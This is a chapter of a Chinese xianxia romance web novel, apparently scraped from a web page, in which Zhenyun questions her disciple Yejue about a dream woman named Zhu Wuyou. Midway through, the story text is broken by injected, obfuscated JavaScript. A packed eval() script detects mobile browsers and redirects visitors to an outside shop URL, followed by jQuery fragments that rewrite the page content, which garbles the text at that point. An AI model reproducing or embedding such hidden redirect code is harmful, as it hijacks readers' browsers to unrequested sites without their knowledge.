祝无忧?
祝无忧是谁?
枕云没想过一天之内会遭遇两次雷击,她连忙站起身后退了几步。
枕云思忖了片刻,她又蹲在夜玦床边,她凑近他的耳畔用气声问道:“她是谁?”
夜玦:“......”
他睡着了,浓密的睫毛在眼睑下轻轻颤抖,投出一片阴影。不过夜玦的眉头似乎蹙着,他是在梦里见到了那个人吗?
枕云只觉得刚刚拼凑好的心又碎成了两瓣。
她默默地走回了房间,枕云躺在床上翻来覆去地睡不着。
天空又下起了绵绵细雨,枕云起身趴在桌案前,手指一下一下点着月白花。
月白花歪了歪头,“主人,怎么又下雨了,最近雨水是不是太多了?”
枕云轻轻搓着它的叶子,没有在神识里回答它。
“主人!请不要揪我的手,我好痛!”
“啊——对不起。”枕云连忙松开手道歉。
“主人!我要晒月亮,你快把月亮姐姐变出来,我不要淋雨了!”
不知不觉间月白花忽然感觉这次的雨水居然是咸的,它疑惑地抬起头,主人的脸颊已经满是泪痕。
枕云眼角通红,她轻轻啜泣着,“我现在只是想找个可以和我说说话的,为什么你也要训我?!”
月白花不明所以地回答:“我不是这个意思主人,我一直都很讨厌下雨啊。”
“主人你怎么了?你从前不是这样的。”
听到这句话,枕云嚎啕大哭,脑海里浮现出和淬雪争吵的画面。
忽然间窗外的雨也下起了瓢泼大雨。
关键时刻还得找好友,月禾收到枕云的消息立马二话不说又去偷了师尊的信物带着美食就来仙桃林了。
月禾看着暴雨倾泻而下,百年桃树在狂风中剧烈摇晃,而枕云在她肩头嚎啕大哭。
“没事的没事的,淬雪师姐一直都是高要求的人,咱不拿她的要求跟自己比,还有我在呢!”
“夜玦就是根木头,你跟他说这些他也不明白。”
“别哭了,我都心疼了,再说了不还有我给你垫背吗,等我赚灵石了我来养你!”
枕云擦了擦眼泪,月禾举起一根烤仙鸟翅放到她嘴边,枕云摇了摇头,“不吃,大半夜会长胖的!”
月禾啧啧了几声,她自己吃得津津有味,“这叫化悲愤为食欲!”
枕云吸了吸鼻子,她哽咽着,“还有一个事,刚刚夜玦喝醉了我扶他回房间,他喊了一个人的名字。”
月禾张大了嘴巴,十分震惊,“什么!是谁?”
枕云:“祝无忧。”
月禾:“啊?不认识,这听起来像是个凡人的名字。”
月禾拍了拍她的后背,“没事的,等我以后给你找个比他还帅的道侣。”
枕云气呼呼道:“谁要他做我道侣了!我才不喜欢他!我们只是纯洁的师徒关系!”
月禾:“有吗?怎么我每次来的时候,从未听见过他亲口喊你师父。你确定不是你的一厢情愿?”
枕云忽然在脑海里翻找着记忆,夜玦确实从来没有亲口叫她一声师父,她撇着嘴,愣愣地盯着地。
月禾瞥了她一眼,发现状态更不对劲了,“不是吧?他怎么这样啊?”
枕云瞬间哑口无言,“我......”
“他确实没有亲口喊过我师父。”
月禾:“那说不定他口中那人是他师父,所以不想认你为师父。”
枕云擦干了眼泪,黑夜的乌云也渐渐驱散,明晃晃的月亮从中冒出头。
月禾又吃了一口鸡翅,“你实在在意的话,你明天问问他不就好了。”
枕云别扭地转过身,“我才不要问他!他心里有人又跟我有什么关系!他有别的师父又有什么关系!”
“就当我这些日子好仙做好事,白白教他武功好了!”
月禾不急不慢地问道:“按照我看的藏经阁里爱情话本套路,酒后吐真言,这人说不定是他喜欢的姑娘呢,也不一定是......”
枕云:“那最好不过了,他喜欢谁我才不关心不在乎!”
月禾:“哦,好吧。”
......
第二日在饭桌上,枕云看着沉默寡言的夜玦,她放下碗筷开口。
“祝无忧是谁?”
夜玦一惊,平日里波澜不惊的眼眸中掀起了风暴。
枕云读出了他神情里的惊讶,她撇过目光,“昨夜你喝醉了,我无意间听到的。”
“我、我可不是专门偷听的,是你自己说出口的!”
夜玦:“我喝醉了没做什么吧?”
枕云耸耸肩,“你能做什么?还是我扶你回去的...你只是说了那人的名字,我不小心听见了。”
夜玦凝视着枕云的面容,似乎在判断她的话是否真实,他冷静地夹起一块冬瓜。
夜玦:“...是梦里出现的人。”
枕云:“梦里?你恢复记忆了?”
夜玦还是摇了摇头,“不知,但这个人经常会在我的梦里。”
枕云抿着嘴琢磨,“哦...是位姑娘?”
夜玦点点头。
枕云:“你在梦里找她?”
夜玦:“是。”
枕云接着问道:“那位姑娘...是你的师父么?”
“我只是随口问问,这些日子里你从来没有叫过我一声师父,我是出于好奇,仅此而已!”
夜玦放下了筷子,他认真地看着枕云回答,“嗯。”
枕云百无聊赖地开始挑碗里的辣椒,“这也是你梦里的内容?那你们在梦里做什么?”
夜玦垂下眼眸,“她救了我一命再收我为徒,教了我许多武功,我们一起看过了人间不同的风光。”
枕云腹议着:除了最后一条,我也差不多啊。
“她...应是我很重要的人。”
枕云的筷子蓦地没了动静,她的嘴抿成一条直线,心口被人狠狠攥紧了似的。
枕云冷冷道:“哦。”
夜玦抬头观察着枕云的神色,“你认识她吗?”
枕云理所应当的摇了摇头,“不知道,不认识,没见过。”
夜玦:“......”
枕云:“听名字是个凡人,仙界里这样的名字很少。”
夜玦试探道:“仙界里有东西可以查到她吗?”
枕云托着腮思考了会,“命薄台对凡间每个人的命运都会有记录,可以去那里找找。”
枕云看向窗外的浮云,“可惜我们还出不去呢。”
夜玦盯着她的目光变得深邃,他缓缓开口:“其实...你和她有些相像。”
枕云的心头涌上一股无名火,“能不像吗!都教你武功还供你吃供你住!你可真是好命,这样的事情还能遇见两次。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17656542|206997||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>夜玦不知是被她吓着了还是说中了,他一时间没有说话。
枕云趁热打铁,“什么意思?那你现在是把我当做她的替身?我告诉你,你要是敢把我当别人的替身,我现在就赶你出去!”
夜玦有些无语,“我不是那个意思。”
枕云来了气,“所以?”
夜玦的眼神不知怎的看得枕云心里有些发毛,他想了想,“你们都是很好的人,她和我说过——善良的人总是相似的。”
夜玦垂下眼眸,找补了一句,“在梦里说的。”
这下轮到枕云噤了声,她又泄了气般,闷闷地“嗯”了声。
夜玦忽然开口,“这些日子你很不开心?”
枕云反驳道:“哪有?”
夜玦指了指窗边的乌云,“天气。”
“你心情不好时便会下雨。”
窗边此时又聚集着片片阴云,蜻蜓在空中上盘旋,枕云闭着眼吸了口气,片刻后乌云散去暖阳照耀着大地。
她僵硬地说道:“这都给你发现了?”
夜玦:“你的事情不难发现。”
枕云双手交叉在胸前,心里涌出异样的感觉,什么事情都被他看穿了。
夜玦:“那,你春天的时候是不是经常难过?”
枕云:“?”
夜玦:“春天多雨。”
这是个玩笑吗?
枕云气鼓鼓地站起身来,“仙桃林本就遵循四季的规律,只是我身为这里的主人,情绪偶尔会有些影响!”
夜玦挑了挑眉,对话语里的某些词表示怀疑。
枕云“哼”了一声便扬长而去。
夜玦看向窗外,他嘴角微微勾起,此刻正是艳阳高照。
......
今日夜玦正照常在竹林间舞剑,枕云和月禾待在屋内。
月禾不经意地提起,“几日不见,你和他怎么样了?”
枕云翻了页书,“还能怎么样?他干他的事,我做我的事,井水不犯河水。”
月禾啧啧称奇,“看咱家云云多潇洒,仙女就要这样,拿得起放得下!”
枕云给了她一个白眼,“少嘴贫了!”
不过确实是实话实话,这几日她和夜玦也只有法术上的交流,其余的时间都是各干各的事,连吃饭的时候枕云都不想找话题了。
月禾撇撇嘴,“行吧,我可得回去了。”
她拍了拍手准备起身走人。
天边的云彩骤然间变得粉红,如同被桃花染过,两人站在原地不敢动弹,夜玦察觉到不对劲连忙朝屋里赶去,可就在进入门的刹那,他停下了脚步。
“见过明舒仙尊。”
枕云和月禾急忙行了个礼。
明舒仙尊微微颔首,她坐在木椅上,“起来吧。”
明舒抬眼给了月禾一个眼神,“清砚这么早就把你放出来了?”
月禾尴尬不已,“师、师尊她气消了就放弟子出来了哈哈......”
明舒又看向唯唯诺诺的枕云,“唉,你这丫头,真是让我操心得很。”
“这段日子你可知错了?”
枕云低着头,“弟子已深刻反省过了,再也不敢了。”
沉默了一会,明舒缓缓开口,“淬雪前几日去找了我聊你的事情。”
枕云更不敢说话了。
“罢了,该教训的也教训了,你已知错,为师也可以放你出去了。”